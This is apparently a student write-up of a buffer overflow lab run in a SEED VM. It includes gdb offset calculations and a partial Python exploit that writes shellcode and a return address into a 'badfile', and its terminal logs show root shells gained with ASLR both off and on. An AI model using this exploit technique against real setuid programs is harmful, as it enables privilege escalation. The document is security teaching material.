Name: Zhiyuan Ma, Wenting Zheng

Task 1:

First we add the given code snippet to exploit a Buffer Overflow Vulnerability. We also turn off some countermeasures in gcc complier

```
[10/09/22]seed@VM:~/Downloads$ vim stack.c
[10/09/22]seed@VM:~/Downloads$ gcc -m32 -o stack -z execstack -fno-stac
k-protector stack.c
[10/09/22]seed@VM:~/Downloads$  sudo chown root stack
[10/09/22]seed@VM:~/Downloads$ sudo chmod 4755 stack
```

The buffer size is 100. Then we could see that if the badfile is less than 100 characters, which is less than the size of the buffer, the program could execute correctly. If it is more than 100 characters, it would cause a buffer overflow problem.

```
[10/09/22]seed@VM:~/Downloads$ echo "aaaa" >badfile
[10/09/22]seed@VM:~/Downloads$ ./stack.c
bash: ./stack.c: Permission denied
[10/09/22]seed@VM:~/Downloads$ ./stack
Returned Properly
[10/09/22]seed@VM:~/Downloads$ echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa" >badfile
[10/09/22]seed@VM:~/Downloads$ ./stack
Segmentation fault
```

Task 2:

We could use some experiment to prove that the virtual starting address of the stack is a fixed value

```
[10/09/22]seed@VM:~/Downloads$ vim prog.c
[10/09/22]seed@VM:~/Downloads$ gcc -m32 -o prog prog.c
[10/09/22]seed@VM:~/Downloads$ ./prog
 :: a1's address is 0xbfffed60
[10/09/22]seed@VM:~/Downloads$ ./prog
 :: a1's address is 0xbfffed60
```

We use gdb to figure out the starting address before the function call

```
[----------------------------------------------------------------
--------]
Legend: code, data, rodata, value

Breakpoint 1, foo (str=0xbfffebbc 'a' <repeats 200 times>...)
    at stack.c:8
8       strcpy(buffer, str);
gdb-peda$
```

We could see the address of the frame pointer, Also we could get the fixed distance between frame pointer and buffer's starting address

```
gdb-peda$  p $ebp
$5 = (void *) 0xbfffeb98
gdb-peda$  p &buffer
$6 = (char (*)[100]) 0xbfffeb2c
gdb-peda$ p/d 0xbfffeb98 -  0xbfffeb2c
$7 = 108
```

The badfile code is listed below, we use our buffer address(fixed value) to know which location we need to jump to.

```
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
# Fill the content with NOPs
content = bytearray(0x90 for i in range(400))
# Put the shellcode at the end
start = 400 - len(shellcode)
content[start:] = shellcode
# Put the address at offset 112
ret = 0xbfffeb98 + 200
content[112:116] = (ret).to_bytes(4,byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

By generating badfile and jump to our own code using buffer overflow attack, we have access to seed shell(not root shell)

```
[10/09/22]seed@VM:~/Downloads$ vim exploit.py
[10/09/22]seed@VM:~/Downloads$ exploit.py
[10/09/22]seed@VM:~/Downloads$ ./stack
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sud
o),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task 3:

We could get the shell access in seed(uid==1000) after comment out the get uid

```
[10/09/22]seed@VM:~/Downloads$ ls
badfile            defeat_rand.sh              prog    stack.c
dash_shell_test    exploit.py                  prog.c  stack_dbg
dash_shell_test.c  peda-session-stack_dbg.txt  stack
[10/09/22]seed@VM:~/Downloads$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sud
o),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

If we set the uid to zero we could get root shell access

```
[10/09/22]seed@VM:~/Downloads$ rm dash_shell_test
[10/09/22]seed@VM:~/Downloads$ gcc dash_shell_test.c -o dash_shell_tes
[10/09/22]seed@VM:~/Downloads$  sudo chown root dash_shell_test
[10/09/22]seed@VM:~/Downloads$ sudo chmod 4755 dash_shell_test
[10/09/22]seed@VM:~/Downloads$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo)
30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

By adding above method to badfile, we had root shell access

```
[10/09/22]seed@VM:~/Downloads$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sud
30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task 4:

After we run the program many times using a shell, we finally got the root shell access in memory address randomization

```
0 minutes and 14 seconds elapsed.
The program has been running 21826 times so far.
./defeat_rand.sh: line 13: 26304 Segmentation fault      ./stack
0 minutes and 14 seconds elapsed.
The program has been running 21827 times so far.
./defeat_rand.sh: line 13: 26305 Segmentation fault      ./stack
0 minutes and 14 seconds elapsed.
The program has been running 21828 times so far.
#
```

Task 5:

After turning on safeguard, we can’t exploit anymore

Task 6:

After Turn on the Non-executable Stack protection, we can’t exploit anymore